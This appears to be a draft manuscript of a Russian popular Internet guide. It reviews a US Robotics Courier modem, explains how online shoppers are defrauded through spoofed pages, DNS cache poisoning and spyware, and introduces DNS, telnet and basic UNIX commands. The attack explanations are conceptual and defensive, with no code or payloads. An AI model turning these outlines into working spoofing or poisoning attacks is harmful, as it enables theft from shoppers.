Укрощение @Интернет@

         

Com US Robotics Courier V. Everything


Модем US Robotics Courier V. Everything компании 3Com – одна из лучших моделей, представленных на Российском рынке. На совесть сделанная система адаптивной подстройки под конкретную линию, добротные эхо - гаситель, компенсатор сдвига несущей и джиттера фазы вкупе с высокой чувствительностью и удовлетворительной сопротивляемостью к шуму оправдывают отнюдь немалую стоимость этого модема.

Отличительная особенность Courier V. Everything - рекордно высокая скорость приема на сильно зашумленных каналах. В этом отношении он обгоняет все остальные модемы, включая ZyXEL, и даже превосходит последний в несколько раз! Однако ZyXEL способен работать на гораздо более зашумленных линиях, чем Courier V. Everything, пусть и с небольшой скоростью. Поэтому вопрос: какой же модем выбрать Courier V. Everything или ZyXEL Pro? – отнюдь не прост. По мнению автора, лучший выход из положения – покупка двух модемов. А что? Ведь ни одна женщина не ходит и летом, и зимой в одном платье – чем же мы, модемщики, хуже?!

Возможности:

Подстройка уровня выходного сигнала                     есть, авто

Подстройка уровня входного сигнала                        есть, авто

Механизм адаптивной настройки на линию            есть

Измеритель АЧХ линии                                                   есть

Сбор статистики соединения                                         есть, подробный

Жидкокристаллический экран                                      нет

Ограничение скорости соединения                              есть

Реле для отключения параллельного телефона       есть

Распознает сигнал занято                                               да

Встроенный АОН                                                              есть

Встроенный Автоответчик                                             нет

Чипсет                                                                                   RockwellTexas Instruments

Характеристики линии и соединения, определяемые модемом в режиме сбора статистики:


Протокол связи                                                                  да
Скорость приема \ передачи                                          да
Частота несущей приемника \ передатчика              нет


Отношение сигнал \шум                                                  да, последняя + максимальная
Уровень входного сигнала                                             да
Уровень выходного сигнала                                          нет
Задержка возврата эха                                                    да
Уровень ближнего эха                                                     нет
Уровень дальнего эха                                                      нет
Дрожание фазы                                                                  нет
Сдвиг частоты                                                                    нет
Условное качество линии                                               да
Измерение АЧХ                                                                  да
Количество переданных блоков                                   да
Количество блоков, переданных с ошибками          нет

Рисунок 16 Рис. Courier Внешний вид модема 3Com US Robotics Courier V. Everything

A: Чем рискует посетитель виртуального магазина?


Если злоумышленнику удастся похитить номер кредитной карточки жертвы, он без проблем сможет снять с нее некоторую сумму денег (варьирующуюся в зависимости от его наглости и осторожности, ограниченной разве что количеством денег на счету).

В простейшем случае для этой цели организуется "подпольный" виртуальный магазин, исправно собирающий номера кредиток, но не высылающий покупателям никаких товаров. И такие "ловушки" в сети действительно есть: вот заходит человек на платный "no name"-сервер и спустя какое-то время обнаруживает, что с его счета все денежки сняты подчистую. Это нетехнический

прием хищения и аналогичные магазины-однодневки возникают не только в сети, но и в реальной жизни, – соберет некая фирма столько-то заказов, получит предоплату, и… исчезнет без следа.

А чем рискует пользователь, не посещающий ресурсы сомнительно происхождения, и пользующийся услугами исключительно крупных, проверенных поставщиков? Все возможные технические угрозы можно разделить на три категории: подмена целевого субъекта; навязывание ложного маршрута; внедрение в компьютер жертвы программы-шпиона.

К этому списку было бы можно добавить еще один пункт "перехват сетевого трафик" – алгоритмы шифровки номеров кредитных карт (специально придуманные для расчетов по незащищенным каналам) хорошо работает только на словах, а в реальной жизни разработчики сплошь и рядом допускают программные ошибки, в той или иной степени ослабляющие стойкость шифра к взлому, – но, к счастью, подавляющее большинство злоумышленников не обладают надлежащей квалификацией и эту угрозу можно смело игнорировать. В любом случае, популярная книга – не лучшее место для обсуждения вопросов, связанных с криптографией, а заинтересованные читатели могут удовлетворить свое любопытство, обратившись к книге Криса Касперски "Техника сетевых атак".

– подмена целевого субъекта: "Подмена целевого субъекта" на нормальном человеческом языке обозначает совокупность технических приемов, вводящих пользователя в заблуждение относительного его местопребывания. Образно это выглядит приблизительно так: покупатель ловит такси и говорит водителю, "гони на Савеловский". Гнать-то водитель гонит, да только вот приезжает не на Савеловский, а на его точную копию, отличающуюся от оригинала лишь тем, что первый же продавец снимает все деньги с кредитной карточки покупателя.


??? Рисунок "карикатура" обыграть предыдущий абзац

Самая крупная кража по такой схеме была произведена в 1998 году Ильей Гофманом, который, выступая от имени продавца компьютерного магазина "Virtualynx Internet LLC 811-555 West Hastings St. Vancouver, ВС V6B 4N5 604-893-7022", сумел, по утверждению следствия, похитить порядка 20 тысяч

долларов. Преступник с сообщниками были задержаны, но дыры в системы безопасности остались открытыми и по сегодняшний день.

Вот нажимает пользователь на баннер и попадает на страничку злоумышленника, содержащую хитрый Java-скрипт, который переправляет клиента, скажем, на www.amazon.com. Ошибка реализации Java-машины, присущая даже поздним версиям Internet Explorer и Netscape Navigator, приводит к возможности выполнения аплетов злоумышленника в контексте перенаправленного адреса. Покупателя в настоящий магазин могут и не пустить, а вывести в окне браузера его точную копию, отличающуюся от оригинала лишь тем, что содержимое всех заполненных форм попадает не к продавцу, а в карман злоумышленника. Но, не смотря на это, адресная строка браузера содержит подлинный адрес магазина, что и вводит покупателя в заблуждение (Подробнее об этом виде атак можно прочитать в книге Криса Касперски "Техника сетевых атак").

Другая разновидность той же атаки – злоумышленник помещает на свою страничку коллекцию ссылок на виртуальные магазины и прочие коммерческие ресурсы. При наведении курсора на любую из ссылок в строке статуса появляется подлинный адрес выбранного ресурса, – пользователь, не замечая подвоха, кликает мышкой и… Откуда же ему знать, что содержимое строки статуса выводится скриптом злоумышленника и не соответствует действительности! А дальше все происходит по сценарию, описанному выше. Покупателя перенаправляют на требуемый магазин, доменное имя которого немедленно помещают в адресную строку браузера, но дальше порога в магазин не пускают, а подсовывают ему динамически сгенерированную руками злоумышленника web-страницу.



Для защиты от такого вида мошенничества достаточно ввести в браузере адрес целевого сайта вручную. Несмотря на свою простоту, этот прием надежно защищает от подавляющего большинства мошенников.

– перехват трафика с навязыванием ложного маршрута: прежде чем подключиться к серверу, необходимо перевести его доменное имя в IP-адрес, но, занимающаяся этим служба DNS, не свободна от ошибок и вообще очень слабо защищена. Протокол UDP, на который опирается DNS-сервер, не позволяет идентифицировать отправителя пакета, т.е. программное обеспечение жертвы не способно отличить ответы настоящего DNS-сервера, от подложных пакетов злоумышленника. Сценарий атаки в общих чертах выглядит так: злоумышленник огромным количеством разнородных запросов очищает кэш DNS-сервера, а затем посылает ему запрос с просьбой определить IP-адрес такого-то доменного имени. Обнаружив его отсутствие в своем кэше, DNS обращается к серверу более высокого уровня, а, тем временем, злоумышленник отправляет ему подложный пакет, содержащий IP-адрес двойника магазина. Введенный в заблуждение DNS-сервер (а DNS-сервера общаются между собой на том же UDP-протоколе) доверчиво помещает фальсифицированный ответ в свой кэш и впоследствии "раздает" его всем пользователям, пытающимся попасть в этом магазин.

Вообще-то, подобные взломы все еще остаются экзотикой, но несколько прецедентов уже имеются. В частности, именно таким образом 28 октября 1996 была подменна главная страница сайта крупнейшего московского провайдера ROSNET.

Причем ни администратор DNS-сервера, ни владелец виртуального магазина не способны предотвратить такую атаку! До тех пор, пока не будет переписано все программное обеспечение, прямо или косвенно связанное с DNS-протоколом, никто не сможет чувствовать себя в полной безопасности. Впрочем, это не повод для паники, поскольку (как уже отмечалось выше), подобные атаки не получили большого распространения, т.к. злоумышленники, по обыкновению не обремененные высокой квалификацией, предпочитают действовать грубой силой и кустарными методами.



– засылка шпиона: большой популярностью среди похитителей пользуется рассылка зловредных программ под видом полезных утилит или фотографий красивых девушек, которые на самом деле никакие не фотографии, а исполняемые файлы. Откроет пользователь такую "фотографию" и запустит на свой компьютер шпиона, отслеживающего нажатие клавиш или что-нибудь еще. Спустя некоторое время собранная информация отправляется злоумышленнику, которому остается всего лишь извлечь из нее номера кредитных карт (вариант: пароли для входа на сервер) и пополнить свой карман некоторой суммой.

???? Рисунок "карикатура" Что-то связанное со шпионами

Отсюда правило, – никогда и ни при каких обстоятельствах не запускайте программы неизвестного происхождения (см. "Как защитится от вирусов, полученных из Интернет?"). Простые меры гигиены, усиленные бдительностью свежайших антивирусов, в подавляющем большинстве случаев способны предотвратить вторжение, но все же срабатывают не всегда. Причиной тому служат вездесущие программные ошибки, позволяющие передать управление на код злоумышленника без ведома и активных действий со стороны жертвы. Конечно, совсем уж без действий, не обходится (сами собой только кошки, да и то не в жизни, а в анекдоте), но от жертвы не требуется ничего экстравагантного, – вполне достаточно посетить сайт злоумышленника или получить посланное им письмо (всего лишь получить - читать необязательно). Подробнее узнать о таком типе атак можно из книги Ильи Медведовского "Атака на Интернет", а здесь достаточно заметить – никакое приложение при сегодняшней культуре разработки программного обеспечения не застраховано от отсутствия ошибок, тем более бытовые программы массового потребления.

Выводы: не утешительные и пессимистичные: существует принципиальная возможность атак, приводящих к нарушению конфиденциальности данных, хранящихся на компьютере пользователя, набираемых с клавиатуры и передающихся по сети. И в ближайшем будущем ситуация улучшаться, похоже не собирается. Напротив, неотвратимый рост сложности программного обеспечения порождает все большее количество ошибок и люков, дающих "кислород" кибернетическим ворам и вандалам всех мастей.

Забавно, но лучший способ избегнуть кражи – отказаться от всех новомодных схем электронной оплаты и заказывать товар старым - добрым наложенным платежом. Все решения, предлагаемые разработчиками, будь то SSL, Virtual Private Network или службы-арбитры, выступающие гарантом законности сделки, реализованы поверх базовых протоколов, принципиально не способных обеспечить надлежащего уровня защищенности. А на шатком фундаменте устойчивой крепости не постоишь. И, как показывают исследования, фундамент Интернет действительно, очень шаткий.

Утешает только то, что шанс оказаться обкраденным не превышает риск погибнуть в автомобильной катастрофе.

Родственные вопросы:

Как защитится от вирусов, полученных из Интернет?


A:Что такое DNS?


Для успешного функционирования любой коммуникационной сети каждый из ее узлов должен обладать некой уникальной характеристикой, отличающей его ото всех остальных. В телефонии для этой цели используется абонентский номер, а в Интернете – IP-адрес. Такая аналогия вполне уместна: IP-адрес состоит из адреса сети (что-то вроде кода города или страны), адреса подсети (по аналогии: номера АТС) и адреса узла (номера абонентского комплекта, находящегося на этой АТС). На заре развития Интернет все узлы и соответствующие им имена перечислялись в специальном host-файле, который, подобно телефонному справочнику, периодически обновлялся и рассылался абонентам сети.

Но даром что ли компьютер призван облегчать человечеству жизнь? Вот и предложили все операции с доменными именами автоматизировать и возложить эту заботу на него. Перед разработчиками стояла задача: создать высокопроизводительную базу данных, способную функционировать в сети с огромным количеством узлов и рассчитанную на одновременную обработку множества запросов. Владельцами локальных сетей высказывались пожелания в пользу децентрализованной системы, статус каждого субъекта которой соответствовал бы его роли в сети Интернет. Проще говоря, администраторы требовали права самостоятельно выдавать доменные имена своим подопечным, не дожидаясь пока NIC (Net-world Information Center) обработает поданные ему заявки и внесет исправления в host-файл (а ведь когда-то все так и происходило!)

Таким требованиям отвечала идея иерархического пространства имен – дерева, листья которого хранятся на множестве компьютеров, разбросанных по всему свету, а их администрирование возложено на организаторов подсетей, подключенных к Интернету. Каждому из них предписано установить собственный сервер, содержащий информацию о локальных доменах и способный обслуживать пользователей как внутри подсети, так и за ее пределами.

Существенными недостатками распределенной базы данных является: низкая скорость обработки запросов, плохая согласованность информации и недостаточно высокая надежность системы. Но попытка компенсировать падение производительности путем локального кэширования приводит к еще большей несогласованности и недостоверности полученных данных. Отказавшись от поисков "золотой середины", разработчики постановили: обеспечение доступа к базе – более приоритетная задача, чем целостность и согласованность информации, а любые изменения в системе имен должны вноситься так, чтобы не препятствовать доступу к ресурсу по прежним адресам.


Подобную базу данных в принципе можно реализовать посредством любого существующего протокола, например, скачивать ее по ftp, пересылать по электронной почте и т.д. Но по соображениям совместимости эту службу в 1984 году выделили в самостоятельный протокол, технически обозначенный как DNS (Domain Name System).

Таким образом, DNS - сервис необходим для обеспечения доступа к базе данных, ассоциирующей доменные имена с IP-адресами узлов, которые необходимо "знать" межсетевому IP-протоколу для установки соединения.

>>>>> Врезка

Доменное имя состоит из одного или нескольких поддоменов, разделенных для удобства построения иерархии символом точки, причем порядок задается справа налево. Использование национальных кодировок в именах доменов до сих пор недопустимо, что вызывает неудобства у неанглоязычной части населения планеты (причем препятствия в решении этой проблемы не технические, а скорее организационные – попробуй-ка заставить всех администраторов перейти на новую версию DNS-протокола, поддерживающего UNICODE-кодировку).

Наверху иерархии стоят домены первого уровня, находящиеся во владениях Корпорации Распределения Доменных Имен (ICANN), определяющей порядок и правила регистрации поддоменов. До 14 сентября 1995 года эта услуга осуществлялась на некоммерческой основе и выполнялась бесплатно. На выбор предоставлялось 6 доменов высшего уровня (не считая двухбуквенных кодов стран): "gov"

– для правительственных учреждений, "mil" – для военных организаций, "edu" – учебных заведений, "com" – коммерческих фирм, "org" – бесприбыльных организаций и "net" – поставщикам сетевых услуг.

Впрочем, тематика ресурса может и не соответствовать занимаемому им домену, – никто не запрещает коммерческой организации регистрироваться в домене "org", а уж тем более предоставлять домены третьего уровня, скажем, поставщикам сетевых услуг. Кроме того, такая классификация оказалась несовместима с национальными доменами и породила перлы наподобие "Name.com.ru".



В настоящее время наибольшая концентрация ресурсов наблюдается в домене "com", приглянувшемся не только американским, но и национальным организациям, порой добавляющих свой поддомен слева, скажем так: Name.Ru.com. Это приводит к нехватке уникальных комбинаций, порождающей в свою очередь такое неприятное явление как спекуляция доменами второго (редко – третьего) уровня.

Проблему пытаются решить введением новых специализированных и национальных ("сс" – Кокосовые Острова, "tv" – Тувалу, "md" – Молдавия и т.д.) доменов. Но с ростом ассортимента верхних доменов усложняется поиск необходимого ресурса, – большинство организаций попадает под множество категорий одновременно, и, попробуй-ка, угадай - на каком домене они могут быть расположены!

<<<<<< 

Когда пользователь пытается установить соединение с каким-нибудь узлом, скажем, www.meteo-tv.ru, браузер (или другое программное обеспечение) обращается к DNS-серверу (IP-адрес которого прописан в настройках TCP/IP соединения клиента) с просьбой определить IP-адрес этого домена. В зависимости от настроек сервера возвращает либо требуемую информацию, либо ссылку на соседний DNS-сервер, который, по его мнению, более компетентен в этом вопросе.

>>>> Врезка 2

По соображениям производительности весь обмен ведется по протоколу UDP, которой, в отличие от TCP, работает без установки соединения, в результате чего не может надежно идентифицировать отправителя пакета. Эта, казалась бы, несущественная техническая тонкость выливается в концептуальную уязвимость, – любой злоумышленник может навязать своей жертве ложный маршрут, полностью перехватывая исходящий трафик.

Причем на сегодняшний день надежной защиты от таких посягательств не существует и вряд ли она появится в обозримом будущем! Спасает лишь тотальная безграмотность подавляющего большинства злоумышленников, умственные возможности которых реализовать описанную выше атаку не позволяют (известен лишь один случай подмены главной страницы сайта компании "ROSNET", путем нападения на DNS сервер). Подробнее об этой проблеме можно прочитать в книгах "Атака на Интернет" и "Техника сетевых атак", написанных Ильей Медведовским и Крисом Касперски соответственно.



<<<< 

Возвращенный ответ попадает в кэш и необходимость постоянного обращения к DNS- серверу более высокого уровня отпадает. Поскольку существует резко выраженное преимущество посещаемости одних узлов перед другими, большинство запросов обрабатывается ближайшим DNS-сервером самостоятельно, а то и вовсе содержится в локальном кэше DNS-клиента! В результате этого накладные расходы на перевод доменных имен в IP-адреса пренебрежительно малы, и до тех пор, пока в сети не происходит никаких изменений - все работает нормально. В противном случае пользователи будут вынуждены караулить у моря погоду, ожидая обновления содержимого кэша используемого DNS-сервера. Так, например, провайдер "Зенон", реорганизуя свою подсеть, оставил меня без доступа к почтовому ящику на целых две недели с хвостиком, – вот такой маленький эпизод из жизни!

Было бы нечестно, говоря о достоинствах DNS, не отметить того обстоятельства, что на сегодняшний день лишь незначительная часть ресурсов сети представлена доменными именами второго уровня. Типичная ссылка состоит из леса поддоменов, суммарная длина которых заметно превышает 8-байт IP-адреса, а осмысленность и легкозапоминаемость – скорее исключение, чем правило (слабо с лету запомнить http://encke.jpl.nasa.gov?).

В принципе проблему наименования узлов можно решить и на клиентской стороне – умеют же многофункциональные телефонные агрегаты вызывать абонента нажатием одной клавиши, а современные почтовые приложения автоматически подставлять адрес получателя по его имени?

Если проблемы, связанные с DNS (позволю себе напомнить их еще раз –

а) небезопасность;

б) нехватка и путаница доменных имен;

в) болезненная чувствительность к вносимым изменениям)

- не разрешается, вполне возможно, что в скором будущем использование "голых" IP-адресов обретет вторую популярность, –  ведь запоминать их ничуть не труднее, чем телефонные номера, а цифры по-своему притягательны и красивы.

Родственные вопросы:

Что такое дерево (стек) протоколов?

Можно ли увидеть карту всего Internet, связи, каналы, структура?

Безопасность à Чем рискует посетитель виртуального магазина?


A:Что такое telnet и как с ним работать?


Пару десятков лет назад о персональных компьютерах никто и мечтать не смел. В то время электронно-вычислительные машины занимали целые помещения (ну если не помещения, то шкафы – точно) и стоили жутко дорого. Как правило, один компьютер покупался целиком на всю фирму (или университет) и обслуживал десятки терминалов.

Терминалом тогда называли маломощный компьютер, обслуживающий монитор и клавиатуру, а все вычисления выполняла высокопроизводительная ЭВМ. Подобная схема жива и сегодня – именно так функционируют современные суперкомпьютеры, да и не только они.

Программа, выполняющаяся на центральной ЭВМ, получает с терминала исходные данные, выполняет все необходимые вычисления и отправляет результат своей работы обратно на терминал. Ну, чем не классический пример, иллюстрирующий идеальную концепцию ввода-вывода?

Потребность в стандартизации общения терминала с удаленным компьютером возникла еще на заре развития ARPANET, и в результате этого в 1969 году на свет появился протокол telnet (сокращение от telecommunication network protocol – сетевой коммуникационный протокол). С его помощью удавалось осуществить заход на сервер с удаленного терминала, и необходимость иметь аппаратный доступ к узлу (попробуй-ка ее обеспечить!) отпадала. Помимо telnet был разработан и проколол rlogin, впервые появившийся в 4.2 BSD UNIX и предназначавшийся для удаленного управления терминалами между UNIX-узлами. В отличие от универсального telnet, протокол rlogin мог использоваться только в среде UNIX. Это упрощало его программирование, но и ограничивало области применения. Поэтому, в настоящее время протокол telnet по популярности заметно превосходит rlogin.

Технически удаленный доступ в систему можно реализовать перенаправлением ввода-вывода. В самом деле, какая разница соединен терминал с компьютером проводами или межконтинентальной сетью Интернет? С точки зрения прикладных программ терминал всегда остается терминалом, даже если физически не существует в природе. В UNIX любое устройство (в том числе виртуальное) может представляться в виде файла. А файл в свою очередь – это объект, поддерживающий, по крайней мере, две основных операции – чтения и записи данных. Поэтому, Интернет-соединение можно представить как некоторый воображаемый файл.


Грубо говоря, все премудрости telnet-сервера сводятся к умению запихать терминальный ввод-вывод в TCP-соединение ( хотя теоретически можно создать telnet и на базе UDP протокола). Схематично взаимодействие между telnet-сервером и telnet-клиентом показано на рисунке 52



Рисунок 53 Рисунок t26_1.jpg Модель взаимодействия telnet-клиента с telnet-сервером

На заре развития Интернет, когда еще никто не успел додуматься до web, а центром сетевой жизни были почта и Usenet, протокол telnet оказался основным средством межсетевого общения. Сегодня же подобный сервис – большая экзотика. И вряд ли сложно догадаться почему – слишком много развелось за последнее время вредителей и вандалов всех мастей, а удаленное выполнение программ – мощное оружие в руках злоумышленника, вот и стали администраторы закрывать ворота на свои сервера.

К счастью, в Internet существует несколько хороших бесплатных telnet-серверов, предоставляющих бесплатный доступ. (см. "Web-programming à

Какие сервера бесплатно предоставляют право исполнения cgi?")

Достаточный признак наличия telnet-сервера на узле – открытый двадцать третий порт. Впрочем, далеко не каждый сервер пускает к себе всех желающих. Сразу же после установки соединения запрашивается имя пользователя и пароль, но только в редких случаях удается ввести нечто вроде "guest" (в переводе на русский "гость") или "newuser" (в переводе на русский "новый пользователь").

Для общения с telnet-сервером потребуется telnet-клиент. Какой именно выбрать – зависит от вкуса читателя, в книге же будет использоваться исключительно telnet.exe, входящий в штатную поставку Windows 9x/Windows NT. Это не лучший выбор и его возможности сильно ограничены, но он всегда доступен любому пользователю, в то время как остальные утилиты еще попробуй-ка, разыщи!

Внимание: приложение telnet.exe, поставляемое с Windows 95 и Windows 98, содержит ошибку, связанную с переполнением буфера слишком длинным аргументом командной строки. Это позволяет выполнить любой код на компьютере жертвы, стоит ей кликнуть по ссылке в окне браузера, наподобие telnet://server.com/xxxxxxxx, где “xxxx….” специальным образом подобранная последовательность.

До начала работы любого клиента необходимо настроить. Ниже будет показано как это сделать на примере штатного клиента Windows. Остальные же клиенты конфигурируются в той или иной степени аналогично.


A:Как работать с UNIX?


В работе с UNIX нет ничего мистического и освоить простейшие операции можно и в течение одного вечера, особенно если под рукой окажется книжка, написанная простым, толковым языком. К счастью, недостатка в литературе испытывать не приходится, но слишком много – так же плохо, как и совсем ничего. Попробуй, выбери одну книжку из десятка, разбросанных по витрине! Поэтому, в >>>>"Имя это книги" включена короткая глава, помогающая незнакомым с UNIX сделать свои первые шаги. На звание учебника она не претендует, но, по крайней мере, поясняет основные команды UNIX, используемые в этой книге.

Для UNIX существует множество интерактивных оболочек с развитым пользовательским интерфейсом – от Mortal Commander (аналог Norton Commander) до графических сред a la Windows. Они упрощают освоения мира UNIX, но оказываются крайне неудобными для удаленного управления компьютером. Даже консольный Mortal Commander ощутимо тормозит на модемных каналах. А о графических оболочках вспоминать и вовсе не приходится, – комфортная работа возможна лишь при наличии шустрой локальной сети! Поэтому, придется поступиться некоторыми удобствами, и, расставшись с мышью, разговаривать с компьютером языком текстовых команд. Такое общение с UNIX в чем-то напоминает работу с интерпретатором MS-DOS "command.com". Разумеется, названия команд окажутся другими, но в целом принцип тот же.

В UNIX (в отличие от MS-DOS) нет стандартной командной оболочки, и первая задача пользователя – выяснить, что именно установлено в системе, и какие альтернативные оболочки доступны.

Путь к используемой в данный момент оболочке содержится в переменной $SHELL, и вывести ее содержимое на экран поможет команда "echo" – "echo $SHELL" (внимание, – соблюдайте регистр – UNIX к нему чувствительна). Результат работы на компьютере автора выглядит так:

Эмулятор UWIN

>echo $SHELL

/usr/bin/ksh

Эмулятор CYGWIN

>echo $SHELL

/bin/sh

Теперь по таблице 6 легко определить, какая именно оболочка запущена (конечно, при условии, что никакие злые духи не изменили имя исполняемого файла).


Имя файла

Название оболочки

bash

Усовершенствованная оболочка Борна

csh

Оболочка С

ksh

Оболочка Корна

sh

Оболочка Борна

tcsh

Оболочка TC

Таблица 6 Имена исполняемых файлов некоторых популярных оболочек

Пару слов об особенностях каждой оболочки. Первой на свет появилась оболочка Борна, фактически представляющая собой язык программирования, ориентированный на управление процессами, вводом-выводом и операции шаблонного поиска. Никакого интерактивного взаимодействия с пользователем в ней не предусматривалось, и вся работа сводилась к написанию управляющих программ – скриптов, обрабатываемых оболочкой.

Первая интерактивная оболочка, получившая название "С", возникла в университете Беркли. Она быстро завоевала популярность, но имела множество недостатков и содержала кучу ошибок, поэтому полностью вытеснить оболочку Борна так и не смогла. Проблема же совместного сосуществования заключалась в полной несовместимости командных языков обоих оболочек. Это приводило к невозможности выполнения скриптов, написанных для одной оболочки, другой оболочкой.

К тому же открытость исходных текстов "С" вызвала появление массы несовместимых между собой клонов. Некоторые из них дожили и до наших дней (как, например, "TC",– своеобразный гибрид "С" и "TENEX" – операционной системы PDP-10).

Существовали и коммерческие оболочки. Из них наибольшей популярностью пользовалось творение, созданное Дэвидом Корном, объединившее в себе лучшие черты своих предшественников. Компания AT&T распространяла ее вместе с операционной системой System V, объявив стандартном де-юре.

Стандарт – хорошо, но платить компании никто не хотел, и вскоре оболочка Борна была полностью переписана в рамках проекта GNU, получив название bash – Borne Again Shell. Многочисленные усовершенствования и перенос в среду LINUX сделали bash самой популярной оболочкой всех времен и народов, хотя многие до сих пор предпочитают пользоваться C-Shell или оригинальной оболочкой Борна. К тому же, по-прежнему не иссякает поток энтузиастов, пишущих свои собственные оболочки.



Во многих случаях различия между оболочками не столь существенны и не отражаются на простейших операциях, но все примеры, приводимые в книге, предназначены для оболочки Корна и их успешное выполнение в других оболочках не гарантируется (хотя и предполагается). Поэтому, полезно знать, какие оболочки установлены администратором на машине. В этом поможет команда "cat /etc/shells", результат работы которой на свежеустановленном эмуляторе UWIN выглядит следующим образом:

cat /etc/shells

/usr/bin/ksh

/usr/bin/sh

/usr/bin/tcsh

/usr/bin/csh

/bin/sh

/bin/ksh

/bin/csh

/bin/tcsh

Запустить любую оболочку можно, набрав ее имя (возможно, вместе с полным путем), в командной строке. А вернуться назад обычно помогает команда "exit". В качестве тренировочного упражнения полезно запустить все доступные оболочки по очереди. (Чаще всего пути "/usr/bin" и "/bin" указывают на один и тот же каталог, поэтому эквивалентны друг другу).

$ echo $SHELL

/usr/bin/ksh

$ /usr/bin/sh

# echo $SHELL

/usr/bin/ksh

# exit

$ /usr/bin/tcsh

# echo $SHELL

/usr/bin/ksh

# exit

$ /usr/bin/csh

%echo $SHELL

/usr/bin/ksh

%exit

Для просмотра содержимого директорий в командном интерпретаторе "command.com" (MS-DOS) предусмотрена встроенная команда "dir", но UNIX-оболочки не поддерживают такой команды. Вместо этого пользователю предоставляется возможность вызвать внешнюю утилиту, выполняющую всю необходимую работу.

Обычно в UNIX для отображения содержимого каталога используется программа "ls", находящаяся в каталоге "/bin". Кстати, пользователи CYGWIN, прежде чем смогут ей воспользоваться, должны скачать с сервера архив fileutils.tar.gz – в минимальный комплект поставки она не входит.

Вызов без параметров выводит на экран содержимое текущего каталога, а заглянуть в корень поможет наклонная черта – "ls /"

ls /

A                                                             E                                                             proc



base.bat                                                 etc                                                           reg

baseserviceslink.sh                              F                                                              sys

bin                                                          H                                                             tmp

C                                                             home                                                      usr

D                                                             lib                                                            var

dev                                                         linka                                                       win

Узнать, что находится в каталоге "/etc" можно передав его имя в качестве параметра команде "ls":

$ ls /etc

crontab                  inetdconfig.sh                       passwd.add           traceit

in.ftpd                    init.exe                                   priv.exe                  tracer.exe

in.rlogind               login.allow                             profile                    ucs.exe

in.rshd                    login.deny                             rc                             ums.exe

in.telnetd               mailx.rc                                 services

inetd.conf              mkpasswd.exe                     shells

inetd.exe                passwd                                   stop_uwin

Конечно же, поддерживаются символы-джокеры, – знаки "звездочка" и "вопрос". В UNIX, в отличие от MS-DOS, существует конструкция [char set], которую имеет смысл рассмотреть подробнее. Но для начала нелишне вспомнить назначение "*" и "?". Знак "*" обозначает любое множество любых символов (включая пустое), а "?" всего один непустой символ. Поэтому, "ls x*" выведет на экран все файлы (и каталоги), начинающиеся с буквы "x", а "ls ?tmp"- покажет "_tmp","$tmp" и так далее.



Конечно же, временами гибкости таких шаблонов оказывается недостаточно, например, как быть, когда требуется получить список файлов, начинающихся и на букву "i", и на букву "p"? В MS-DOS с этим приходится управляться в два захода, последовательно отдавая команды "dir i*" и "dir p*". UNIX же с этой проблемой управляется за один присест! Например, так:

$ ls /etc/[ip]*

/etc/in.ftpd            /etc/inetd.conf                      /etc/passwd

/etc/in.rlogind       /etc/inetd.exe                        /etc/passwd.add

/etc/in.rshd            /etc/inetdconfig.sh               /etc/priv.exe

/etc/in.telnetd       /etc/init.exe                           /etc/profile

А как быть, если необходимо отобразить все файлы, в имени которых присутствует хотя бы одна цифра? Неужели придется писать утомительно длительную последовательность "ls *[0123456789]*"? К счастью нет! - необходимый интервал можно задать следующим образом: "[0-9]", например, вот так:

$ls /etc/*[0-9]*

/etc/k1y                 /etc/mkss2old                       /etc/track7

Если такой информации окажется недостаточно и потребуется узнать, скажем, права доступа к файлу, имя владельца и время последнего изменения, то воспользуйтесь ключом "-l" (маленькая латинская буква L, не спутайте с единицей). Например, так:

ls –l /etc

-rwxr–-r–-  1 root    Everyone    46 Feb 16  1999 crontab

-rwxr–-r–-  1 root    Everyone 19968 Feb 17  1999 mkpasswd.exe

drwxr–-r–-  2 root    Everyone   512 Jul  2 16:52 mydir

-rwxr––r–-  1 root    Everyone   119 Jul  1 12:45 passwd

lrwxr–-r–-  1 root    Everyone    20 Jun  4 03:10 services -> /C/WINDOWS//services

-rwxr––r–-  1 root    Everyone    88 Feb 17  1999 shells

-rwxr–-r–-  1 root    Everyone 73216 Feb  2 07:25 ums.exe

Первая слева колонка сообщает права доступа. Она состоит из тех трехсимвольных групп, определяющих права доступа создателя (то бишь владельца файла), его группы и всех остальных пользователей. Каждая группа в свою очередь состоит из трех атрибутов, разрешающих чтение (r), запись (w) и исполнение (x).





Рисунок 58 Рисунок 008.txt Расшифровка файловых атрибутов

Тут надобно заметить, что в UNIX выполняемые файлы распознаются по атрибуту "x", и могут иметь любое расширение или вовсе не иметь его. Обычно большинство файлов и каталогов имеют следующие права доступа "rwxr––r––r", т.е. создатель файла может делать с ним что угодно, а всем остальным разрешается читать, но не модифицировать или запускать.

Для изменения прав доступа предусмотрена утилита chmod

(сокращение от Change Mode). Она принимает следующие аргументы командной строки: первой указывается группа пользователей

("u" – для владельца, "g" – для членов его группы, "o" – для всех прочих и "a" для всех-всех, т.е. "u"+"g"+"o" одновременно), затем наличие (знак "+") или отсутствие (знак "-") требуемого атрибута. Например, защитить собственные файлы от "чужого глаза" можно так: "chmod g-r,o-r *".

Директории отличаются от простых файлов по стоящему впереди символу "d" (смотри рисунок 58)



Рисунок 59 Рисунок 009.txt Директории в UNIX отличаются от файлов наличием атрибута "d"

Следующая колонка сообщает количество псевдонимов, под которыми файл (директория) известен системе. Например, для каталога "/bin" это число равно двум, поскольку обычно "/bin" и "/usr/bin" ссылаются на одну и ту же директорию.

drwxrwxrwx  2 root     Everyone     512 Jun  4 00:50 bin

drwxrwxrwx  3 root     Everyone     512 Jun  4 00:51 dev

drwxrwxrwx 16 root     Everyone     512 Jun  4 00:51 lib

Третья колонка содержит имя владельца файла (в данном примере "root") и группу, к которой он принадлежит ("Everyone"). И замыкают строку размер, время создания и имя файла (директории). Вся остальная информация по работе с "ls" содержится в руководстве "man" и может быть получена с помощью команды "man ls".



Перейти в другой каталог, как и в MS-DOS, можно с помощью команды "cd". Стоит заметить: в UNIX нет понятия диска, поэтому нет и команды для его изменения – для навигации достаточно одного "cd". Например:

$ cd /

$ ls

A                                             E                             proc

base.bat                                 etc                           reg

baseserviceslink.sh              F                              sys

bin                                          H                             tmp

C                                             home                      usr

D                                             lib                            var

dev                                         linka                       win

$ cd /A

$ ls

tpna.arj

$ cd /var

$ ls

adm                                        tmp                         uninstall

Для создания новых каталогов предназначена команда "mkdir" (Make Directory). Вызов "mkdir myname" создаст в текущем каталоге новую директорию "myname". А вот попытка создать несколько вложенных друг в друга каталогов провалится, если не указать ключ "-p". Например:

$ mkdir temp

$ cd temp

$ ls

$ mkdir 1/2/3

mkdir: 1/2/3: [No such file or directory]

